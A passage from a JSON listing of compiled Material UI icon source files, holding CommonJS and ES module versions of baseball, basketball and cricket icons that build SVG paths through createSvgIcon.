    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.81 6.28C2.67 7.9 2 9.87 2 12s.67 4.1 1.81 5.72C6.23 16.95 8 14.68 8 12S6.23 7.05 3.81 6.28m16.38 0C17.77 7.05 16 9.32 16 12s1.77 4.95 4.19 5.72C21.33 16.1 22 14.13 22 12s-.67-4.1-1.81-5.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-3.28 1.97-6.09 4.79-7.33C17.01 3.02 14.63 2 12 2S6.99 3.02 5.21 4.67C8.03 5.91 10 8.72 10 12s-1.97 6.09-4.79 7.33C6.99 20.98 9.37 22 12 22s5.01-1.02 6.79-2.67C15.97 18.09 14 15.28 14 12\"\n}, \"1\")], 'SportsBaseballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.61 7.22C4.6 8.55 4 10.2 4 12s.6 3.45 1.61 4.78C7.06 15.69 8 13.95 8 12s-.94-3.69-2.39-4.78\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-2.52 1.17-4.77 3-6.24C15.63 4.66 13.89 4 12 4s-3.63.66-5 1.76c1.83 1.47 3 3.71 3 6.24s-1.17 4.77-3 6.24c1.37 1.1 3.11 1.76 5 1.76s3.63-.66 5-1.76c-1.83-1.47-3-3.72-3-6.24\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 7.22C16.94 8.31 16 10.05 16 12s.94 3.69 2.39 4.78C19.4 15.45 20 13.8 20 12s-.6-3.45-1.61-4.78\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.61 16.78C4.6 15.45 4 13.8 4 12s.6-3.45 1.61-4.78C7.06 8.31 8 10.05 8 12s-.94 3.69-2.39 4.78M12 20c-1.89 0-3.63-.66-5-1.76 1.83-1.47 3-3.71 3-6.24S8.83 7.23 7 5.76C8.37 4.66 10.11 4 12 4s3.63.66 5 1.76c-1.83 1.47-3 3.71-3 6.24s1.17 4.77 3 6.24c-1.37 1.1-3.11 1.76-5 1.76m6.39-3.22C16.94 15.69 16 13.95 16 12s.94-3.69 2.39-4.78C19.4 8.55 20 10.2 20 12s-.6 3.45-1.61 4.78\"\n}, \"3\")], 'SportsBaseballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBaseballTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.61 7.22C4.6 8.55 4 10.2 4 12s.6 3.45 1.61 4.78C7.06 15.69 8 13.95 8 12s-.94-3.69-2.39-4.78\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-2.52 1.17-4.77 3-6.24C15.63 4.66 13.89 4 12 4s-3.63.66-5 1.76c1.83 1.47 3 3.71 3 6.24s-1.17 4.77-3 6.24c1.37 1.1 3.11 1.76 5 1.76s3.63-.66 5-1.76c-1.83-1.47-3-3.72-3-6.24\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 7.22C16.94 8.31 16 10.05 16 12s.94 3.69 2.39 4.78C19.4 15.45 20 13.8 20 12s-.6-3.45-1.61-4.78\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.61 16.78C4.6 15.45 4 13.8 4 12s.6-3.45 1.61-4.78C7.06 8.31 8 10.05 8 12s-.94 3.69-2.39 4.78M12 20c-1.89 0-3.63-.66-5-1.76 1.83-1.47 3-3.71 3-6.24S8.83 7.23 7 5.76C8.37 4.66 10.11 4 12 4s3.63.66 5 1.76c-1.83 1.47-3 3.71-3 6.24s1.17 4.77 3 6.24c-1.37 1.1-3.11 1.76-5 1.76m6.39-3.22C16.94 15.69 16 13.95 16 12s.94-3.69 2.39-4.78C19.4 8.55 20 10.2 20 12s-.6 3.45-1.61 4.78\"\n}, \"3\")], 'SportsBaseballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketball.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketball.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.23 7.75C6.1 8.62 6.7 9.74 6.91 11H4.07c.15-1.18.56-2.28 1.16-3.25M4.07 13h2.84c-.21 1.26-.81 2.38-1.68 3.25-.6-.97-1.01-2.07-1.16-3.25M11 19.93c-1.73-.22-3.29-1-4.49-2.14 1.3-1.24 2.19-2.91 2.42-4.79H11zM11 11H8.93C8.69 9.12 7.81 7.44 6.5 6.2 7.71 5.06 9.27 4.29 11 4.07zm8.93 0h-2.84c.21-1.26.81-2.38 1.68-3.25.6.97 1.01 2.07 1.16 3.25M13 4.07c1.73.22 3.29.99 4.5 2.13-1.31 1.24-2.19 2.92-2.43 4.8H13zm0 15.86V13h2.07c.24 1.88 1.12 3.55 2.42 4.79-1.2 1.14-2.76 1.92-4.49 2.14m5.77-3.68c-.87-.86-1.46-1.99-1.68-3.25h2.84c-.15 1.18-.56 2.28-1.16 3.25\"\n}), 'SportsBasketballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.23 7.75C6.1 8.62 6.7 9.74 6.91 11H4.07c.15-1.18.56-2.28 1.16-3.25M4.07 13h2.84c-.21 1.26-.81 2.38-1.68 3.25-.6-.97-1.01-2.07-1.16-3.25M11 19.93c-1.73-.22-3.29-1-4.49-2.14 1.3-1.24 2.19-2.91 2.42-4.79H11zM11 11H8.93C8.69 9.12 7.81 7.44 6.5 6.2 7.71 5.06 9.27 4.29 11 4.07zm8.93 0h-2.84c.21-1.26.81-2.38 1.68-3.25.6.97 1.01 2.07 1.16 3.25M13 4.07c1.73.22 3.29.99 4.5 2.13-1.31 1.24-2.19 2.92-2.43 4.8H13zm0 15.86V13h2.07c.24 1.88 1.12 3.55 2.42 4.79-1.2 1.14-2.76 1.92-4.49 2.14m5.77-3.68c-.87-.86-1.46-1.99-1.68-3.25h2.84c-.15 1.18-.56 2.28-1.16 3.25\"\n}), 'SportsBasketballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.09 11h4.86c-.16-1.61-.71-3.11-1.54-4.4-1.73.83-2.99 2.45-3.32 4.4M6.91 11c-.33-1.95-1.59-3.57-3.32-4.4-.83 1.29-1.38 2.79-1.54 4.4zm8.16 0c.32-2.59 1.88-4.79 4.06-6-1.6-1.63-3.74-2.71-6.13-2.95V11zm-6.14 0H11V2.05C8.61 2.29 6.46 3.37 4.87 5c2.18 1.21 3.74 3.41 4.06 6m6.14 2H13v8.95c2.39-.24 4.54-1.32 6.13-2.95-2.18-1.21-3.74-3.41-4.06-6M3.59 17.4c1.72-.83 2.99-2.46 3.32-4.4H2.05c.16 1.61.71 3.11 1.54 4.4m13.5-4.4c.33 1.95 1.59 3.57 3.32 4.4.83-1.29 1.38-2.79 1.54-4.4zm-8.16 0c-.32 2.59-1.88 4.79-4.06 6 1.6 1.63 3.74 2.71 6.13 2.95V13z\"\n}), 'SportsBasketballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.93 11H11V4.07c-1.73.22-3.29.99-4.5 2.13C7.81 7.44 8.69 9.12 8.93 11m11 0c-.15-1.18-.56-2.28-1.16-3.25-.87.87-1.47 1.99-1.68 3.25zM5.23 7.75c-.6.97-1.01 2.07-1.16 3.25h2.84C6.7 9.74 6.1 8.62 5.23 7.75M4.07 13c.15 1.18.56 2.28 1.16 3.25.87-.87 1.47-1.99 1.68-3.25zm2.44 4.79c1.2 1.14 2.76 1.92 4.49 2.14V13H8.93c-.23 1.88-1.12 3.55-2.42 4.79M17.5 6.2c-1.21-1.14-2.77-1.92-4.5-2.13V11h2.07c.24-1.88 1.12-3.56 2.43-4.8m1.27 10.05c.61-.96 1.02-2.07 1.16-3.25h-2.84c.21 1.26.81 2.38 1.68 3.25M13 13v6.93c1.73-.22 3.29-1 4.49-2.14-1.3-1.24-2.19-2.91-2.42-4.79z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.23 7.75C6.1 8.62 6.7 9.74 6.91 11H4.07c.15-1.18.56-2.28 1.16-3.25M4.07 13h2.84c-.21 1.26-.81 2.38-1.68 3.25-.6-.97-1.01-2.07-1.16-3.25M11 19.93c-1.73-.22-3.29-1-4.49-2.14 1.3-1.24 2.19-2.91 2.42-4.79H11zM11 11H8.93C8.69 9.12 7.81 7.44 6.5 6.2 7.71 5.06 9.27 4.29 11 4.07zm8.93 0h-2.84c.21-1.26.81-2.38 1.68-3.25.6.97 1.01 2.07 1.16 3.25M13 4.07c1.73.22 3.29.99 4.5 2.13-1.31 1.24-2.19 2.92-2.43 4.8H13zm0 15.86V13h2.07c.24 1.88 1.12 3.55 2.42 4.79-1.2 1.14-2.76 1.92-4.49 2.14m5.77-3.68c-.87-.86-1.46-1.99-1.68-3.25h2.84c-.15 1.18-.56 2.28-1.16 3.25\"\n}, \"1\")], 'SportsBasketballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsBasketballTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.93 11H11V4.07c-1.73.22-3.29.99-4.5 2.13C7.81 7.44 8.69 9.12 8.93 11m11 0c-.15-1.18-.56-2.28-1.16-3.25-.87.87-1.47 1.99-1.68 3.25zM5.23 7.75c-.6.97-1.01 2.07-1.16 3.25h2.84C6.7 9.74 6.1 8.62 5.23 7.75M4.07 13c.15 1.18.56 2.28 1.16 3.25.87-.87 1.47-1.99 1.68-3.25zm2.44 4.79c1.2 1.14 2.76 1.92 4.49 2.14V13H8.93c-.23 1.88-1.12 3.55-2.42 4.79M17.5 6.2c-1.21-1.14-2.77-1.92-4.5-2.13V11h2.07c.24-1.88 1.12-3.56 2.43-4.8m1.27 10.05c.61-.96 1.02-2.07 1.16-3.25h-2.84c.21 1.26.81 2.38 1.68 3.25M13 13v6.93c1.73-.22 3.29-1 4.49-2.14-1.3-1.24-2.19-2.91-2.42-4.79z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M5.23 7.75C6.1 8.62 6.7 9.74 6.91 11H4.07c.15-1.18.56-2.28 1.16-3.25M4.07 13h2.84c-.21 1.26-.81 2.38-1.68 3.25-.6-.97-1.01-2.07-1.16-3.25M11 19.93c-1.73-.22-3.29-1-4.49-2.14 1.3-1.24 2.19-2.91 2.42-4.79H11zM11 11H8.93C8.69 9.12 7.81 7.44 6.5 6.2 7.71 5.06 9.27 4.29 11 4.07zm8.93 0h-2.84c.21-1.26.81-2.38 1.68-3.25.6.97 1.01 2.07 1.16 3.25M13 4.07c1.73.22 3.29.99 4.5 2.13-1.31 1.24-2.19 2.92-2.43 4.8H13zm0 15.86V13h2.07c.24 1.88 1.12 3.55 2.42 4.79-1.2 1.14-2.76 1.92-4.49 2.14m5.77-3.68c-.87-.86-1.46-1.99-1.68-3.25h2.84c-.15 1.18-.56 2.28-1.16 3.25\"\n}, \"1\")], 'SportsBasketballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricket.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.7086 4.9462 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricket');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricket.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.7086 4.9462 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricket');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.04 12.79-8.5-8.5C6.35 4.1 6.09 4 5.83 4s-.51.1-.7.29L2.29 7.13c-.39.39-.39 1.03 0 1.42l8.5 8.5c.2.2.45.29.71.29s.51-.1.71-.29l2.83-2.83c.39-.4.39-1.04 0-1.43m-3.54 2.13L4.41 7.83l1.42-1.42 7.09 7.09zm2.8414 2.8362 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142zM18.5 2C16.57 2 15 3.57 15 5.5S16.57 9 18.5 9 22 7.43 22 5.5 20.43 2 18.5 2m0 5c-.83 0-1.5-.67-1.5-1.5S17.67 4 18.5 4s1.5.67 1.5 1.5S19.33 7 18.5 7\"\n}), 'SportsCricketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.04 12.79-8.5-8.5C6.35 4.1 6.09 4 5.83 4s-.51.1-.7.29L2.29 7.13c-.39.39-.39 1.03 0 1.42l8.5 8.5c.2.2.45.29.71.29s.51-.1.71-.29l2.83-2.83c.39-.4.39-1.04 0-1.43m-3.54 2.13L4.41 7.83l1.42-1.42 7.09 7.09zm2.8414 2.8362 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142zM18.5 2C16.57 2 15 3.57 15 5.5S16.57 9 18.5 9 22 7.43 22 5.5 20.43 2 18.5 2m0 5c-.83 0-1.5-.67-1.5-1.5S17.67 4 18.5 4s1.5.67 1.5 1.5S19.33 7 18.5 7\"\n}), 'SportsCricketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.71 4.95 3.53 3.53c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42l-3.53-3.53z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.71 4.95 3.53 3.53c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42l-3.53-3.53z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketSharp.js",
